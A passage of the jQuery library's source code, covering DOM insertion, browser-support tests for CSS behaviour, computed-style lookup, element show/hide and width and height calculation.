fragments that contain checked, in WebKit\n\t\tif ( isFunction ||\n\t\t\t\t( l > 1 && typeof value === \"string\" &&\n\t\t\t\t\t!support.checkClone && rchecked.test( value ) ) ) {\n\t\t\treturn this.each(function( index ) {\n\t\t\t\tvar self = set.eq( index );\n\t\t\t\tif ( isFunction ) {\n\t\t\t\t\targs[0] = value.call( this, index, self.html() );\n\t\t\t\t}\n\t\t\t\tself.domManip( args, callback );\n\t\t\t});\n\t\t}\n\n\t\tif ( l ) {\n\t\t\tfragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this );\n\t\t\tfirst = fragment.firstChild;\n\n\t\t\tif ( fragment.childNodes.length === 1 ) {\n\t\t\t\tfragment = first;\n\t\t\t}\n\n\t\t\tif ( first ) {\n\t\t\t\tscripts = jQuery.map( getAll( fragment, \"script\" ), disableScript );\n\t\t\t\thasScripts = scripts.length;\n\n\t\t\t\t// Use the original fragment for the last item instead of the first because it can end up\n\t\t\t\t// being emptied incorrectly in certain situations (#8070).\n\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\tnode = fragment;\n\n\t\t\t\t\tif ( i !== iNoClone ) {\n\t\t\t\t\t\tnode = jQuery.clone( node, true, true );\n\n\t\t\t\t\t\t// Keep references to cloned scripts for later restoration\n\t\t\t\t\t\tif ( hasScripts ) {\n\t\t\t\t\t\t\tjQuery.merge( scripts, getAll( node, \"script\" ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tcallback.call( this[i], node, i );\n\t\t\t\t}\n\n\t\t\t\tif ( hasScripts ) {\n\t\t\t\t\tdoc = scripts[ scripts.length - 1 ].ownerDocument;\n\n\t\t\t\t\t// Reenable scripts\n\t\t\t\t\tjQuery.map( scripts, restoreScript );\n\n\t\t\t\t\t// Evaluate executable scripts on first document insertion\n\t\t\t\t\tfor ( i = 0; i < hasScripts; i++ ) {\n\t\t\t\t\t\tnode = scripts[ i ];\n\t\t\t\t\t\tif ( rscriptType.test( node.type || \"\" ) &&\n\t\t\t\t\t\t\t!jQuery._data( node, \"globalEval\" ) && jQuery.contains( doc, node ) ) {\n\n\t\t\t\t\t\t\tif ( node.src ) {\n\t\t\t\t\t\t\t\t// Optional AJAX dependency, but won't run scripts if not present\n\t\t\t\t\t\t\t\tif ( jQuery._evalUrl ) {\n\t\t\t\t\t\t\t\t\tjQuery._evalUrl( node.src );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tjQuery.globalEval( ( node.text || node.textContent || node.innerHTML || \"\" ).replace( rcleanScript, \"\" ) );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Fix #11809: Avoid leaking memory\n\t\t\t\tfragment = first = null;\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t}\n});\n\njQuery.each({\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar elems,\n\t\t\ti = 0,\n\t\t\tret = [],\n\t\t\tinsert = jQuery( selector ),\n\t\t\tlast = insert.length - 1;\n\n\t\tfor ( ; i <= last; i++ ) {\n\t\t\telems = i === last ? this : this.clone(true);\n\t\t\tjQuery( insert[i] )[ original ]( elems );\n\n\t\t\t// Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get()\n\t\t\tpush.apply( ret, elems.get() );\n\t\t}\n\n\t\treturn this.pushStack( ret );\n\t};\n});\n\n\nvar iframe,\n\telemdisplay = {};\n\n/**\n * Retrieve the actual display of a element\n * @param {String} name nodeName of the element\n * @param {Object} doc Document object\n */\n// Called only from within defaultDisplay\nfunction actualDisplay( name, doc ) {\n\tvar elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),\n\n\t\t// getDefaultComputedStyle might be reliably used only on attached element\n\t\tdisplay = window.getDefaultComputedStyle ?\n\n\t\t\t// Use of this method is a temporary fix (more like optmization) until something better comes along,\n\t\t\t// since it was removed from specification and supported only in FF\n\t\t\twindow.getDefaultComputedStyle( elem[ 0 ] ).display : jQuery.css( elem[ 0 ], \"display\" );\n\n\t// We don't have any data stored on the element,\n\t// so use \"detach\" method as fast way to get rid of the element\n\telem.detach();\n\n\treturn display;\n}\n\n/**\n * Try to determine the default display value of an element\n * @param {String} nodeName\n */\nfunction defaultDisplay( nodeName ) {\n\tvar doc = document,\n\t\tdisplay = elemdisplay[ nodeName ];\n\n\tif ( !display ) {\n\t\tdisplay = actualDisplay( nodeName, doc );\n\n\t\t// If the simple way fails, read from inside an iframe\n\t\tif ( display === \"none\" || !display ) {\n\n\t\t\t// Use the already-created iframe if possible\n\t\t\tiframe = (iframe || jQuery( \"<iframe frameborder='0' width='0' height='0'/>\" )).appendTo( doc.documentElement );\n\n\t\t\t// Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse\n\t\t\tdoc = ( iframe[ 0 ].contentWindow || iframe[ 0 ].contentDocument ).document;\n\n\t\t\t// Support: IE\n\t\t\tdoc.write();\n\t\t\tdoc.close();\n\n\t\t\tdisplay = actualDisplay( nodeName, doc );\n\t\t\tiframe.detach();\n\t\t}\n\n\t\t// Store the correct default display\n\t\telemdisplay[ nodeName ] = display;\n\t}\n\n\treturn display;\n}\n\n\n(function() {\n\tvar a, shrinkWrapBlocksVal,\n\t\tdiv = document.createElement( \"div\" ),\n\t\tdivReset =\n\t\t\t\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;\" +\n\t\t\t\"display:block;padding:0;margin:0;border:0\";\n\n\t// Setup\n\tdiv.innerHTML = \"  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\";\n\ta = div.getElementsByTagName( \"a\" )[ 0 ];\n\n\ta.style.cssText = \"float:left;opacity:.5\";\n\n\t// Make sure that element opacity exists\n\t// (IE uses filter instead)\n\t// Use a regex to work around a WebKit issue. See #5145\n\tsupport.opacity = /^0.5/.test( a.style.opacity );\n\n\t// Verify style float existence\n\t// (IE uses styleFloat instead of cssFloat)\n\tsupport.cssFloat = !!a.style.cssFloat;\n\n\tdiv.style.backgroundClip = \"content-box\";\n\tdiv.cloneNode( true ).style.backgroundClip = \"\";\n\tsupport.clearCloneStyle = div.style.backgroundClip === \"content-box\";\n\n\t// Null elements to avoid leaks in IE.\n\ta = div = null;\n\n\tsupport.shrinkWrapBlocks = function() {\n\t\tvar body, container, div, containerStyles;\n\n\t\tif ( shrinkWrapBlocksVal == null ) {\n\t\t\tbody = document.getElementsByTagName( \"body\" )[ 0 ];\n\t\t\tif ( !body ) {\n\t\t\t\t// Test fired too early or in an unsupported environment, exit.\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tcontainerStyles = \"border:0;width:0;height:0;position:absolute;top:0;left:-9999px\";\n\t\t\tcontainer = document.createElement( \"div\" );\n\t\t\tdiv = document.createElement( \"div\" );\n\n\t\t\tbody.appendChild( container ).appendChild( div );\n\n\t\t\t// Will be changed later if needed.\n\t\t\tshrinkWrapBlocksVal = false;\n\n\t\t\tif ( typeof div.style.zoom !== strundefined ) {\n\t\t\t\t// Support: IE6\n\t\t\t\t// Check if elements with layout shrink-wrap their children\n\t\t\t\tdiv.style.cssText = divReset + \";width:1px;padding:1px;zoom:1\";\n\t\t\t\tdiv.innerHTML = \"<div></div>\";\n\t\t\t\tdiv.firstChild.style.width = \"5px\";\n\t\t\t\tshrinkWrapBlocksVal = div.offsetWidth !== 3;\n\t\t\t}\n\n\t\t\tbody.removeChild( container );\n\n\t\t\t// Null elements to avoid leaks in IE.\n\t\t\tbody = container = div = null;\n\t\t}\n\n\t\treturn shrinkWrapBlocksVal;\n\t};\n\n})();\nvar rmargin = (/^margin/);\n\nvar rnumnonpx = new RegExp( \"^(\" + pnum + \")(?!px)[a-z%]+$\", \"i\" );\n\n\n\nvar getStyles, curCSS,\n\trposition = /^(top|right|bottom|left)$/;\n\nif ( window.getComputedStyle ) {\n\tgetStyles = function( elem ) {\n\t\treturn elem.ownerDocument.defaultView.getComputedStyle( elem, null );\n\t};\n\n\tcurCSS = function( elem, name, computed ) {\n\t\tvar width, minWidth, maxWidth, ret,\n\t\t\tstyle = elem.style;\n\n\t\tcomputed = computed || getStyles( elem );\n\n\t\t// getPropertyValue is only needed for .css('filter') in IE9, see #12537\n\t\tret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined;\n\n\t\tif ( computed ) {\n\n\t\t\tif ( ret === \"\" && !jQuery.contains( elem.ownerDocument, elem ) ) {\n\t\t\t\tret = jQuery.style( elem, name );\n\t\t\t}\n\n\t\t\t// A tribute to the \"awesome hack by Dean Edwards\"\n\t\t\t// Chrome < 17 and Safari 5.0 uses \"computed value\" instead of \"used value\" for margin-right\n\t\t\t// Safari 5.1.7 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels\n\t\t\t// this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values\n\t\t\tif ( rnumnonpx.test( ret ) && rmargin.test( name ) ) {\n\n\t\t\t\t// Remember the original values\n\t\t\t\twidth = style.width;\n\t\t\t\tminWidth = style.minWidth;\n\t\t\t\tmaxWidth = style.maxWidth;\n\n\t\t\t\t// Put in the new values to get a computed value out\n\t\t\t\tstyle.minWidth = style.maxWidth = style.width = ret;\n\t\t\t\tret = computed.width;\n\n\t\t\t\t// Revert the changed values\n\t\t\t\tstyle.width = width;\n\t\t\t\tstyle.minWidth = minWidth;\n\t\t\t\tstyle.maxWidth = maxWidth;\n\t\t\t}\n\t\t}\n\n\t\t// Support: IE\n\t\t// IE returns zIndex value as an integer.\n\t\treturn ret === undefined ?\n\t\t\tret :\n\t\t\tret + \"\";\n\t};\n} else if ( document.documentElement.currentStyle ) {\n\tgetStyles = function( elem ) {\n\t\treturn elem.currentStyle;\n\t};\n\n\tcurCSS = function( elem, name, computed ) {\n\t\tvar left, rs, rsLeft, ret,\n\t\t\tstyle = elem.style;\n\n\t\tcomputed = computed || getStyles( elem );\n\t\tret = computed ? computed[ name ] : undefined;\n\n\t\t// Avoid setting ret to empty string here\n\t\t// so we don't default to auto\n\t\tif ( ret == null && style && style[ name ] ) {\n\t\t\tret = style[ name ];\n\t\t}\n\n\t\t// From the awesome hack by Dean Edwards\n\t\t// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291\n\n\t\t// If we're not dealing with a regular pixel number\n\t\t// but a number that has a weird ending, we need to convert it to pixels\n\t\t// but not position css attributes, as those are proportional to the parent element instead\n\t\t// and we can't measure the parent instead because it might trigger a \"stacking dolls\" problem\n\t\tif ( rnumnonpx.test( ret ) && !rposition.test( name ) ) {\n\n\t\t\t// Remember the original values\n\t\t\tleft = style.left;\n\t\t\trs = elem.runtimeStyle;\n\t\t\trsLeft = rs && rs.left;\n\n\t\t\t// Put in the new values to get a computed value out\n\t\t\tif ( rsLeft ) {\n\t\t\t\trs.left = elem.currentStyle.left;\n\t\t\t}\n\t\t\tstyle.left = name === \"fontSize\" ? \"1em\" : ret;\n\t\t\tret = style.pixelLeft + \"px\";\n\n\t\t\t// Revert the changed values\n\t\t\tstyle.left = left;\n\t\t\tif ( rsLeft ) {\n\t\t\t\trs.left = rsLeft;\n\t\t\t}\n\t\t}\n\n\t\t// Support: IE\n\t\t// IE returns zIndex value as an integer.\n\t\treturn ret === undefined ?\n\t\t\tret :\n\t\t\tret + \"\" || \"auto\";\n\t};\n}\n\n\n\n\nfunction addGetHookIf( conditionFn, hookFn ) {\n\t// Define the hook, we'll check on the first run if it's really needed.\n\treturn {\n\t\tget: function() {\n\t\t\tvar condition = conditionFn();\n\n\t\t\tif ( condition == null ) {\n\t\t\t\t// The test was not ready at this point; screw the hook this time\n\t\t\t\t// but check again when needed next time.\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( condition ) {\n\t\t\t\t// Hook not needed (or it's not possible to use it due to missing dependency),\n\t\t\t\t// remove it.\n\t\t\t\t// Since there are no other hooks for marginRight, remove the whole object.\n\t\t\t\tdelete this.get;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Hook needed; redefine it so that the support test is not executed again.\n\n\t\t\treturn (this.get = hookFn).apply( this, arguments );\n\t\t}\n\t};\n}\n\n\n(function() {\n\tvar a, reliableHiddenOffsetsVal, boxSizingVal, boxSizingReliableVal,\n\t\tpixelPositionVal, reliableMarginRightVal,\n\t\tdiv = document.createElement( \"div\" ),\n\t\tcontainerStyles = \"border:0;width:0;height:0;position:absolute;top:0;left:-9999px\",\n\t\tdivReset =\n\t\t\t\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;\" +\n\t\t\t\"display:block;padding:0;margin:0;border:0\";\n\n\t// Setup\n\tdiv.innerHTML = \"  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\";\n\ta = div.getElementsByTagName( \"a\" )[ 0 ];\n\n\ta.style.cssText = \"float:left;opacity:.5\";\n\n\t// Make sure that element opacity exists\n\t// (IE uses filter instead)\n\t// Use a regex to work around a WebKit issue. See #5145\n\tsupport.opacity = /^0.5/.test( a.style.opacity );\n\n\t// Verify style float existence\n\t// (IE uses styleFloat instead of cssFloat)\n\tsupport.cssFloat = !!a.style.cssFloat;\n\n\tdiv.style.backgroundClip = \"content-box\";\n\tdiv.cloneNode( true ).style.backgroundClip = \"\";\n\tsupport.clearCloneStyle = div.style.backgroundClip === \"content-box\";\n\n\t// Null elements to avoid leaks in IE.\n\ta = div = null;\n\n\tjQuery.extend(support, {\n\t\treliableHiddenOffsets: function() {\n\t\t\tif ( reliableHiddenOffsetsVal != null ) {\n\t\t\t\treturn reliableHiddenOffsetsVal;\n\t\t\t}\n\n\t\t\tvar container, tds, isSupported,\n\t\t\t\tdiv = document.createElement( \"div\" ),\n\t\t\t\tbody = document.getElementsByTagName( \"body\" )[ 0 ];\n\n\t\t\tif ( !body ) {\n\t\t\t\t// Return for frameset docs that don't have a body\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Setup\n\t\t\tdiv.setAttribute( \"className\", \"t\" );\n\t\t\tdiv.innerHTML = \"  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\";\n\n\t\t\tcontainer = document.createElement( \"div\" );\n\t\t\tcontainer.style.cssText = containerStyles;\n\n\t\t\tbody.appendChild( container ).appendChild( div );\n\n\t\t\t// Support: IE8\n\t\t\t// Check if table cells still have offsetWidth/Height when they are set\n\t\t\t// to display:none and there are still other visible table cells in a\n\t\t\t// table row; if so, offsetWidth/Height are not reliable for use when\n\t\t\t// determining if an element has been hidden directly using\n\t\t\t// display:none (it is still safe to use offsets if a parent element is\n\t\t\t// hidden; don safety goggles and see bug #4512 for more information).\n\t\t\tdiv.innerHTML = \"<table><tr><td></td><td>t</td></tr></table>\";\n\t\t\ttds = div.getElementsByTagName( \"td\" );\n\t\t\ttds[ 0 ].style.cssText = \"padding:0;margin:0;border:0;display:none\";\n\t\t\tisSupported = ( tds[ 0 ].offsetHeight === 0 );\n\n\t\t\ttds[ 0 ].style.display = \"\";\n\t\t\ttds[ 1 ].style.display = \"none\";\n\n\t\t\t// Support: IE8\n\t\t\t// Check if empty table cells still have offsetWidth/Height\n\t\t\treliableHiddenOffsetsVal = isSupported && ( tds[ 0 ].offsetHeight === 0 );\n\n\t\t\tbody.removeChild( container );\n\n\t\t\t// Null elements to avoid leaks in IE.\n\t\t\tdiv = body = null;\n\n\t\t\treturn reliableHiddenOffsetsVal;\n\t\t},\n\n\t\tboxSizing: function() {\n\t\t\tif ( boxSizingVal == null ) {\n\t\t\t\tcomputeStyleTests();\n\t\t\t}\n\t\t\treturn boxSizingVal;\n\t\t},\n\n\t\tboxSizingReliable: function() {\n\t\t\tif ( boxSizingReliableVal == null ) {\n\t\t\t\tcomputeStyleTests();\n\t\t\t}\n\t\t\treturn boxSizingReliableVal;\n\t\t},\n\n\t\tpixelPosition: function() {\n\t\t\tif ( pixelPositionVal == null ) {\n\t\t\t\tcomputeStyleTests();\n\t\t\t}\n\t\t\treturn pixelPositionVal;\n\t\t},\n\n\t\treliableMarginRight: function() {\n\t\t\tvar body, container, div, marginDiv;\n\n\t\t\t// Use window.getComputedStyle because jsdom on node.js will break without it.\n\t\t\tif ( reliableMarginRightVal == null && window.getComputedStyle ) {\n\t\t\t\tbody = document.getElementsByTagName( \"body\" )[ 0 ];\n\t\t\t\tif ( !body ) {\n\t\t\t\t\t// Test fired too early or in an unsupported environment, exit.\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tcontainer = document.createElement( \"div\" );\n\t\t\t\tdiv = document.createElement( \"div\" );\n\t\t\t\tcontainer.style.cssText = containerStyles;\n\n\t\t\t\tbody.appendChild( container ).appendChild( div );\n\n\t\t\t\t// Check if div with explicit width and no margin-right incorrectly\n\t\t\t\t// gets computed margin-right based on width of container. (#3333)\n\t\t\t\t// Fails in WebKit before Feb 2011 nightlies\n\t\t\t\t// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right\n\t\t\t\tmarginDiv = div.appendChild( document.createElement( \"div\" ) );\n\t\t\t\tmarginDiv.style.cssText = div.style.cssText = divReset;\n\t\t\t\tmarginDiv.style.marginRight = marginDiv.style.width = \"0\";\n\t\t\t\tdiv.style.width = \"1px\";\n\n\t\t\t\treliableMarginRightVal =\n\t\t\t\t\t!parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight );\n\n\t\t\t\tbody.removeChild( container );\n\t\t\t}\n\n\t\t\treturn reliableMarginRightVal;\n\t\t}\n\t});\n\n\tfunction computeStyleTests() {\n\t\tvar container, div,\n\t\t\tbody = document.getElementsByTagName( \"body\" )[ 0 ];\n\n\t\tif ( !body ) {\n\t\t\t// Test fired too early or in an unsupported environment, exit.\n\t\t\treturn;\n\t\t}\n\n\t\tcontainer = document.createElement( \"div\" );\n\t\tdiv = document.createElement( \"div\" );\n\t\tcontainer.style.cssText = containerStyles;\n\n\t\tbody.appendChild( container ).appendChild( div );\n\n\t\tdiv.style.cssText =\n\t\t\t\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;\" +\n\t\t\t\t\"position:absolute;display:block;padding:1px;border:1px;width:4px;\" +\n\t\t\t\t\"margin-top:1%;top:1%\";\n\n\t\t// Workaround failing boxSizing test due to offsetWidth returning wrong value\n\t\t// with some non-1 values of body zoom, ticket #13543\n\t\tjQuery.swap( body, body.style.zoom != null ? { zoom: 1 } : {}, function() {\n\t\t\tboxSizingVal = div.offsetWidth === 4;\n\t\t});\n\n\t\t// Will be changed later if needed.\n\t\tboxSizingReliableVal = true;\n\t\tpixelPositionVal = false;\n\t\treliableMarginRightVal = true;\n\n\t\t// Use window.getComputedStyle because jsdom on node.js will break without it.\n\t\tif ( window.getComputedStyle ) {\n\t\t\tpixelPositionVal = ( window.getComputedStyle( div, null ) || {} ).top !== \"1%\";\n\t\t\tboxSizingReliableVal =\n\t\t\t\t( window.getComputedStyle( div, null ) || { width: \"4px\" } ).width === \"4px\";\n\t\t}\n\n\t\tbody.removeChild( container );\n\n\t\t// Null elements to avoid leaks in IE.\n\t\tdiv = body = null;\n\t}\n\n})();\n\n\n// A method for quickly swapping in/out CSS properties to get correct calculations.\njQuery.swap = function( elem, options, callback, args ) {\n\tvar ret, name,\n\t\told = {};\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.apply( elem, args || [] );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n};\n\n\nvar\n\t\tralpha = /alpha\\([^)]*\\)/i,\n\tropacity = /opacity\\s*=\\s*([^)]*)/,\n\n\t// swappable if display is none or starts with table except \"table\", \"table-cell\", or \"table-caption\"\n\t// see here for display values: https://developer.mozilla.org/en-US/docs/CSS/display\n\trdisplayswap = /^(none|table(?!-c[ea]).+)/,\n\trnumsplit = new RegExp( \"^(\" + pnum + \")(.*)$\", \"i\" ),\n\trrelNum = new RegExp( \"^([+-])=(\" + pnum + \")\", \"i\" ),\n\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n\tcssNormalTransform = {\n\t\tletterSpacing: 0,\n\t\tfontWeight: 400\n\t},\n\n\tcssPrefixes = [ \"Webkit\", \"O\", \"Moz\", \"ms\" ];\n\n\n// return a css property mapped to a potentially vendor prefixed property\nfunction vendorPropName( style, name ) {\n\n\t// shortcut for names that are not vendor prefixed\n\tif ( name in style ) {\n\t\treturn name;\n\t}\n\n\t// check for vendor prefixed names\n\tvar capName = name.charAt(0).toUpperCase() + name.slice(1),\n\t\torigName = name,\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in style ) {\n\t\t\treturn name;\n\t\t}\n\t}\n\n\treturn origName;\n}\n\nfunction showHide( elements, show ) {\n\tvar display, elem, hidden,\n\t\tvalues = [],\n\t\tindex = 0,\n\t\tlength = elements.length;\n\n\tfor ( ; index < length; index++ ) {\n\t\telem = elements[ index ];\n\t\tif ( !elem.style ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tvalues[ index ] = jQuery._data( elem, \"olddisplay\" );\n\t\tdisplay = elem.style.display;\n\t\tif ( show ) {\n\t\t\t// Reset the inline display of this element to learn if it is\n\t\t\t// being hidden by cascaded rules or not\n\t\t\tif ( !values[ index ] && display === \"none\" ) {\n\t\t\t\telem.style.display = \"\";\n\t\t\t}\n\n\t\t\t// Set elements which have been overridden with display: none\n\t\t\t// in a stylesheet to whatever the default browser style is\n\t\t\t// for such an element\n\t\t\tif ( elem.style.display === \"\" && isHidden( elem ) ) {\n\t\t\t\tvalues[ index ] = jQuery._data( elem, \"olddisplay\", defaultDisplay(elem.nodeName) );\n\t\t\t}\n\t\t} else {\n\n\t\t\tif ( !values[ index ] ) {\n\t\t\t\thidden = isHidden( elem );\n\n\t\t\t\tif ( display && display !== \"none\" || !hidden ) {\n\t\t\t\t\tjQuery._data( elem, \"olddisplay\", hidden ? display : jQuery.css( elem, \"display\" ) );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Set the display of most of the elements in a second loop\n\t// to avoid the constant reflow\n\tfor ( index = 0; index < length; index++ ) {\n\t\telem = elements[ index ];\n\t\tif ( !elem.style ) {\n\t\t\tcontinue;\n\t\t}\n\t\tif ( !show || elem.style.display === \"none\" || elem.style.display === \"\" ) {\n\t\t\telem.style.display = show ? values[ index ] || \"\" : \"none\";\n\t\t}\n\t}\n\n\treturn elements;\n}\n\nfunction setPositiveNumber( elem, value, subtract ) {\n\tvar matches = rnumsplit.exec( value );\n\treturn matches ?\n\t\t// Guard against undefined \"subtract\", e.g., when used as in cssHooks\n\t\tMath.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || \"px\" ) :\n\t\tvalue;\n}\n\nfunction augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {\n\tvar i = extra === ( isBorderBox ? \"border\" : \"content\" ) ?\n\t\t// If we already have the right measurement, avoid augmentation\n\t\t4 :\n\t\t// Otherwise initialize for horizontal or vertical properties\n\t\tname === \"width\" ? 1 : 0,\n\n\t\tval = 0;\n\n\tfor ( ; i < 4; i += 2 ) {\n\t\t// both box models exclude margin, so add it if we want it\n\t\tif ( extra === \"margin\" ) {\n\t\t\tval += jQuery.css( elem, extra + cssExpand[ i ], true, styles );\n\t\t}\n\n\t\tif ( isBorderBox ) {\n\t\t\t// border-box includes padding, so remove it if we want content\n\t\t\tif ( extra === \"content\" ) {\n\t\t\t\tval -= jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\t\t\t}\n\n\t\t\t// at this point, extra isn't border nor margin, so remove border\n\t\t\tif ( extra !== \"margin\" ) {\n\t\t\t\tval -= jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\t\t} else {\n\t\t\t// at this point, extra isn't content, so add padding\n\t\t\tval += jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\n\t\t\t// at this point, extra isn't content nor padding, so add border\n\t\t\tif ( extra !== \"padding\" ) {\n\t\t\t\tval += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn val;\n}\n\nfunction getWidthOrHeight( elem, name, extra ) {\n\n\t// Start with offset property, which is equivalent to the border-box value\n\tvar valueIsBorderBox = true,\n\t\tval = name === \"width\" ? elem.offsetWidth : elem.offsetHeight,\n\t\tstyles = getStyles( elem ),\n\t\tisBorderBox = support.boxSizing() && jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\";\n\n\t// some non-html elements return undefined for offsetWidth, so check for null/undefined\n\t// svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285\n\t// MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668\n\tif ( val <= 0 || val == null ) {\n\t\t// Fall back to computed then uncomputed css if necessary\n\t\tval = curCSS( elem, name, styles );\n\t\tif ( val < 0 || val == null ) {\n\t\t\tval = elem.style[ name ];\n\t\t}\n\n\t\t// Computed unit is not pixels. Stop here and return.\n\t\tif ( rnumnonpx.test(val) ) {\n\t\t\treturn val;\n\t\t}\n\n\t\t// we need the check for style in case a browser which returns unreliable values\n\t\t// for getComputedStyle silently falls back to the reliable elem.style\n\t\tvalueIsBorderBox = isBorderBox && ( support.boxSizingReliable() || val === elem.style[ name ] );\n\n\t\t// Normalize \"\", auto, and prepare for extra\n\t\tval = parseFloat( val ) || 0;\n\t}\n\n\t// use the active box-sizing model to add/subtract irrelevant styles\n\treturn ( val +\n\t\taugmentWidthOrHeight(\n\t\t\telem,\n\t\t\tname,\n\t\t\textra || ( isBorderBox ? \"border\" : \"content\" ),\n\t\t\tvalueIsBorderBox,\n\t\t\tstyles\n\t\t)\n\t) + \"px\";\n}\n\njQuery.extend({\n\t// Add in style property hooks for overriding the default\n\t// behavior of getting and setting a style property\n\tcssHooks: {\n\t\topacity: {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\tif ( computed ) {\n\t\t\t\t\t// We should always get a number back from opacity\n\t\t\t\t\tvar ret = curCSS( elem, \"opacity\" );\n\t\t\t\t\treturn ret === \"\" ? \"1\" : ret;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// Don't automatically add \"px\" to these possibly-unitless properties\n\tcssNumber: {\n\t\t\"columnCount\": true,\n\t\t\"fillOpacity\": true,\n\t\t\"fontWeight\": true,\n\t\t\"lineHeight\": true,\n\t\t\"opacity\": true,\n\t\t\"order\": true,\n\t\t\"orphans\": true,\n\t\t\"widows\": true,\n\t\t\"zIndex\": true,\n\t\t\"zoom\": true\n\t},\n\n\t// Add in properties whose names you wish to fix before\n\t// setting or getting the value\n\tcssProps: {\n\t\t// normalize float css property\n\t\t\"float\": support.cssFloat ? \"cssFloat\" : \"styleFloat\"\n\t},\n\n\t// Get and set the style property on a DOM Node\n\tstyle: function( elem, name, value, extra ) {\n\t\t// Don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure that we're working with the right name\n\t\tvar ret, type, hooks,\n\t\t\torigName = jQuery.camelCase( name ),\n\t\t\tstyle = elem.style;\n\n\t\tname = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) );\n\n\t\t// gets hook for the prefixed version\n\t\t// followed by the unprefixed version\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// Check if we're setting a value\n\t\tif ( value !== undefined ) {\n\t\t\ttype = typeof value;\n\n\t\t\t// convert relative number strings (+= or -=) to relative numbers. #7345\n\t\t\tif ( type === \"string\" && (ret = rrelNum.exec( value )) ) {\n\t\t\t\tvalue = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) );\n\t\t\t\t// Fixes bug #9237\n\t\t\t\ttype = \"number\";\n\t\t\t}\n\n\t\t\t// Make sure that null and NaN values aren't set. See: #7116\n\t\t\tif ( value == null || value !== value ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If a number was passed in, add 'px' to the (except for certain CSS properties)\n\t\t\tif ( type === \"number\" && !jQuery.cssNumber[ origName ] ) {\n\t\t\t\tvalue += \"px\";\n\t\t\t}\n\n\t\t\t// Fixes #8908, it can be done more correctly by specifing setters in cssHooks,\n\t\t\t// but it would mean to define eight (for every problematic property) identical functions\n\t\t\tif ( !support.clearCloneStyle && value === \"\" && name.indexOf(\"background\") === 0 ) {\n\t\t\t\tstyle[ name ] = \"inherit\";\n\t\t\t}\n\n\t\t\t// If a hook was provided, use that value, otherwise just set the specified value\n\t\t\tif ( !hooks || !(\"set\" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) {\n\n\t\t\t\t// Support: IE\n\t\t\t\t// Swallow errors from 'invalid' CSS values (#5509)\n\t\t\t\ttry {\n\t\t\t\t\t// Support: Chrome, Safari\n\t\t\t\t\t// Setting style to blank string required to delete \"style: x !important;\"\n\t\t\t\t\tstyle[ name ] = \"\";\n\t\t\t\t\tstyle[ name ] = value;\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t} else {\n\t\t\t// If a hook was provided get the non-computed value from there\n\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {\n\t\t\t\treturn 